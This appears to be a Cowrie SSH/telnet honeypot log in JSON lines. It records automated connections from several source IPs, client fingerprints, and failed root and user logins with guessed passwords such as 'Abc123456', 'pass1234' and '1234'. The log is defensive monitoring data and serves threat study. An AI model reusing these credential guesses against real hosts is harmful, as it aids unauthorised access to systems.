{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ba:fe:e4:15:9a:85:53:2b:cb:f3:67:43:45:33:d2:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKujdnKmsnL4WFOOpK4vqBNXDSsvcQjHbKFqyDSILxhhV4x33Ou5MNo0uggvrvhgbyUDdX3Bp3PTgT/MHjiS+RwL35MmILvV/vePmVoCLTKmZ6HIbG046/tBrei5feAaUmq1MoJGP7E2o/Hy9hZgXJHOgWCTgIJWeTLPZd9HEbchBl+9HIQa6AGzsWi6iuZIi55aRW9YUh8JezH++J7rTvMmUtDZjwI2WvM+nGrSFRmnneIWgVoUcJPTIHRfYpCEQALNDAWybfxyXC7+UeeYHtZ9S0oOdOT8d/1/6P8QenWmeLToKCkkxsDJ5YMkSUTBIIFgMEnyj0/QuuCwKzHRv9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ba:fe:e4:15:9a:85:53:2b:cb:f3:67:43:45:33:d2:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:27:22.375237Z","src_ip":"208.87.243.61","session":"670533c40c70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ba:fe:e4:15:9a:85:53:2b:cb:f3:67:43:45:33:d2:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKujdnKmsnL4WFOOpK4vqBNXDSsvcQjHbKFqyDSILxhhV4x33Ou5MNo0uggvrvhgbyUDdX3Bp3PTgT/MHjiS+RwL35MmILvV/vePmVoCLTKmZ6HIbG046/tBrei5feAaUmq1MoJGP7E2o/Hy9hZgXJHOgWCTgIJWeTLPZd9HEbchBl+9HIQa6AGzsWi6iuZIi55aRW9YUh8JezH++J7rTvMmUtDZjwI2WvM+nGrSFRmnneIWgVoUcJPTIHRfYpCEQALNDAWybfxyXC7+UeeYHtZ9S0oOdOT8d/1/6P8QenWmeLToKCkkxsDJ5YMkSUTBIIFgMEnyj0/QuuCwKzHRv9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:27:22.379520Z","src_ip":"208.87.243.61","session":"670533c40c70","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d1:48:7a:a3:ef:bb:11:d3:d3:7b:e5:78:7b:df:73:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCiqVe33lpbczMfPRctVxHjI7d3QXe4joEoHsXCquLKKLFIlR8Hkqq55knXoTrFXYIkBMsII4O7GxVu+TwNBC/EMubKgKXKNjbTC9zn4/r7JAKfJiAp5+qgI+xLCGdEN4J9YG6EXSdiyboK0T3CbJ3vldV/8VHRVDbtaqz/PFVWVi2yycM7wZ9buZXIs+uavSPN6CAtI6UzmioZQS/FCgXKdsdBfzHd3zPQJK9JeulkBueUL65sMdUzzmGcsKqOiB7H8AsgxbQZo18CnBeeXZZJXM9xY5M3QBxrg2N3MK/XBp8+7+LMdwQPMriFMLTT12HTvwDmV87v8RmsImq3a4MB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d1:48:7a:a3:ef:bb:11:d3:d3:7b:e5:78:7b:df:73:02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:27:22.453334Z","src_ip":"208.87.243.61","session":"670533c40c70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d1:48:7a:a3:ef:bb:11:d3:d3:7b:e5:78:7b:df:73:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCiqVe33lpbczMfPRctVxHjI7d3QXe4joEoHsXCquLKKLFIlR8Hkqq55knXoTrFXYIkBMsII4O7GxVu+TwNBC/EMubKgKXKNjbTC9zn4/r7JAKfJiAp5+qgI+xLCGdEN4J9YG6EXSdiyboK0T3CbJ3vldV/8VHRVDbtaqz/PFVWVi2yycM7wZ9buZXIs+uavSPN6CAtI6UzmioZQS/FCgXKdsdBfzHd3zPQJK9JeulkBueUL65sMdUzzmGcsKqOiB7H8AsgxbQZo18CnBeeXZZJXM9xY5M3QBxrg2N3MK/XBp8+7+LMdwQPMriFMLTT12HTvwDmV87v8RmsImq3a4MB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:27:22.457859Z","src_ip":"208.87.243.61","session":"670533c40c70","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d2:78:80:a5:bc:46:b8:f4:56:4d:ca:f9:f2:09:15:41","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIL5Qz5BpXae2il0O9Cx9h/t0mlZ+Bnd0s6mjYhvGZFz0","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint d2:78:80:a5:bc:46:b8:f4:56:4d:ca:f9:f2:09:15:41","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:27:22.528840Z","src_ip":"208.87.243.61","session":"670533c40c70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d2:78:80:a5:bc:46:b8:f4:56:4d:ca:f9:f2:09:15:41","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIL5Qz5BpXae2il0O9Cx9h/t0mlZ+Bnd0s6mjYhvGZFz0","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:27:22.533892Z","src_ip":"208.87.243.61","session":"670533c40c70","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"01:d5:39:1b:73:9f:4d:1f:e1:db:68:c8:8c:61:bf:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCmeTWWDXXhJEorxQHlwDQYZeW52zKPar156JxhWe8SDde0BHet9rYh3rf7mRjtB8RGkU06rp7Y3G0VpPM8WcVDJiG0aCAQmJoZOaexmi9Wpyqde56a2IUq/xwaUQK0JpGuiWyJq8S+WbervWTVKq5TBHOUYP3v349WgkG3kxr0yWDiCHMjRCTfzP18NLGBqXjMR0Mi3JShWBSvMHXLucYpWkwSoEHZUpdgOIWupXsp0hp9u1dc8veVP7VbNjXSaW5Hi9FdJxR8EBneAniqCjlcMpUUYqQsNWSaxrQ4xz9t83lHCScuNNA3Nx41gcqjcD/hs6MQcEQQTkooRhFvitb7Fu8VpVDMbGG0zvYVoGITAO1BQphzY3zju5XGQVImXWvjef+PubfPuplk3GPKagD0UsiedQOpUWhqA7l+kkL1JZe4rQDnRhuamW1d0Segd9Fs4PZ3LVeTrZK3dQm93q5YmW1TIj9N5Db8Ztd5hGYbxCZgh64ITjqJpWbSfmD2uPE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 01:d5:39:1b:73:9f:4d:1f:e1:db:68:c8:8c:61:bf:4f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:27:22.604202Z","src_ip":"208.87.243.61","session":"670533c40c70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"01:d5:39:1b:73:9f:4d:1f:e1:db:68:c8:8c:61:bf:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCmeTWWDXXhJEorxQHlwDQYZeW52zKPar156JxhWe8SDde0BHet9rYh3rf7mRjtB8RGkU06rp7Y3G0VpPM8WcVDJiG0aCAQmJoZOaexmi9Wpyqde56a2IUq/xwaUQK0JpGuiWyJq8S+WbervWTVKq5TBHOUYP3v349WgkG3kxr0yWDiCHMjRCTfzP18NLGBqXjMR0Mi3JShWBSvMHXLucYpWkwSoEHZUpdgOIWupXsp0hp9u1dc8veVP7VbNjXSaW5Hi9FdJxR8EBneAniqCjlcMpUUYqQsNWSaxrQ4xz9t83lHCScuNNA3Nx41gcqjcD/hs6MQcEQQTkooRhFvitb7Fu8VpVDMbGG0zvYVoGITAO1BQphzY3zju5XGQVImXWvjef+PubfPuplk3GPKagD0UsiedQOpUWhqA7l+kkL1JZe4rQDnRhuamW1d0Segd9Fs4PZ3LVeTrZK3dQm93q5YmW1TIj9N5Db8Ztd5hGYbxCZgh64ITjqJpWbSfmD2uPE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:27:22.608045Z","src_ip":"208.87.243.61","session":"670533c40c70","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f0:34:fb:47:1a:72:6f:93:cf:b4:9b:61:33:6a:75:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4HD4Yz5l+k7KhYj01NbdnA4yZu9BckWVunKndaoGPbk1wyBe9DPXMTWJIqhyMwouiUTaMB29kySDXlZurXfr3AqNvhzIilgF07vNpiTgLLPWKcc/YBF5Zp/PSR33n7mbN6LN291Bj35uUExz19owUN6EGxAcDLKI6BlNEB9mvkPu7Fh3ezMQvtwfUZyNyt7OrKQ3trh86wB5wXmrpv9IHM7oxqG3Szj5IjIxmSg7O5tmdctB+i4bSGrNTZymr7X4cN3fouy3/VSCn2PLuTziwCJGaIhvDZFsiKLL27hRVFJARf1iu7rLy5w9ToeEXaNQ4UERQfuhgUj9BruTS2O5Lc/wiJX1hcf2+1LRYVfIbcta2ZTxEKNYamCs2LcPZziLb1oXzceNW0INwlii7RWzJ6NXHq/ILwGXvIGvMC9BLE56aVtiU9NIsTWvaDbkvMMmM2udpXBbQlPyd9h3fkW3l/DW70H5OHSTP48scNZqCiWEMAGS9T5wePmgb47021GU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f0:34:fb:47:1a:72:6f:93:cf:b4:9b:61:33:6a:75:5b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:27:22.678265Z","src_ip":"208.87.243.61","session":"670533c40c70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f0:34:fb:47:1a:72:6f:93:cf:b4:9b:61:33:6a:75:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4HD4Yz5l+k7KhYj01NbdnA4yZu9BckWVunKndaoGPbk1wyBe9DPXMTWJIqhyMwouiUTaMB29kySDXlZurXfr3AqNvhzIilgF07vNpiTgLLPWKcc/YBF5Zp/PSR33n7mbN6LN291Bj35uUExz19owUN6EGxAcDLKI6BlNEB9mvkPu7Fh3ezMQvtwfUZyNyt7OrKQ3trh86wB5wXmrpv9IHM7oxqG3Szj5IjIxmSg7O5tmdctB+i4bSGrNTZymr7X4cN3fouy3/VSCn2PLuTziwCJGaIhvDZFsiKLL27hRVFJARf1iu7rLy5w9ToeEXaNQ4UERQfuhgUj9BruTS2O5Lc/wiJX1hcf2+1LRYVfIbcta2ZTxEKNYamCs2LcPZziLb1oXzceNW0INwlii7RWzJ6NXHq/ILwGXvIGvMC9BLE56aVtiU9NIsTWvaDbkvMMmM2udpXBbQlPyd9h3fkW3l/DW70H5OHSTP48scNZqCiWEMAGS9T5wePmgb47021GU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:27:22.682458Z","src_ip":"208.87.243.61","session":"670533c40c70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:27:22.755363Z","src_ip":"208.87.243.61","session":"670533c40c70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":19125,"dst_ip":"10.17.0.5","dst_port":23,"session":"29d990528d5d","protocol":"telnet","message":"New connection: 212.55.149.117:19125 (10.17.0.5:23) [session: 29d990528d5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:27:43.685416Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.147.159.91","src_port":60746,"dst_ip":"10.17.0.5","dst_port":22,"session":"89929935263f","protocol":"ssh","message":"New connection: 103.147.159.91:60746 (10.17.0.5:22) [session: 89929935263f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:27:51.816171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:27:51.821206Z","src_ip":"103.147.159.91","session":"89929935263f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:27:52.058591Z","src_ip":"103.147.159.91","session":"89929935263f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"10021979612335","message":"login attempt [ubuntu/10021979612335] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:27:53.039176Z","src_ip":"103.147.159.91","session":"89929935263f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:27:54.281273Z","src_ip":"103.147.159.91","session":"89929935263f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"151.80.141.196","src_port":43502,"dst_ip":"10.17.0.5","dst_port":22,"session":"825dc2d899f9","protocol":"ssh","message":"New connection: 151.80.141.196:43502 (10.17.0.5:22) [session: 825dc2d899f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:28:01.560602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:28:01.566219Z","src_ip":"151.80.141.196","session":"825dc2d899f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:28:01.643835Z","src_ip":"151.80.141.196","session":"825dc2d899f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"pass1234","message":"login attempt [user1/pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:28:01.986871Z","src_ip":"151.80.141.196","session":"825dc2d899f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:28:03.074719Z","src_ip":"151.80.141.196","session":"825dc2d899f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.46.1.73","src_port":56912,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e4f9aac1d04","protocol":"ssh","message":"New connection: 189.46.1.73:56912 (10.17.0.5:22) [session: 5e4f9aac1d04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:28:08.170344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:28:08.226976Z","src_ip":"189.46.1.73","session":"5e4f9aac1d04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:28:08.372745Z","src_ip":"189.46.1.73","session":"5e4f9aac1d04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"pass1234","message":"login attempt [user1/pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:28:08.929322Z","src_ip":"189.46.1.73","session":"5e4f9aac1d04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:28:10.143688Z","src_ip":"189.46.1.73","session":"5e4f9aac1d04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":42516,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc6775196915","protocol":"ssh","message":"New connection: 103.15.226.202:42516 (10.17.0.5:22) [session: cc6775196915]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:28:10.214379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:28:10.218896Z","src_ip":"103.15.226.202","session":"cc6775196915","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:28:10.461664Z","src_ip":"103.15.226.202","session":"cc6775196915","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456","message":"login attempt [root/Abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:28:11.205768Z","src_ip":"103.15.226.202","session":"cc6775196915","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:28:12.451140Z","src_ip":"103.15.226.202","session":"cc6775196915","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":50110,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf6ed5e6d7be","protocol":"ssh","message":"New connection: 190.242.109.42:50110 (10.17.0.5:22) [session: bf6ed5e6d7be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:28:13.093143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:28:13.098188Z","src_ip":"190.242.109.42","session":"bf6ed5e6d7be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:28:13.205146Z","src_ip":"190.242.109.42","session":"bf6ed5e6d7be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"1234","message":"login attempt [git/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:28:13.662448Z","src_ip":"190.242.109.42","session":"bf6ed5e6d7be","protocol":"ssh"}
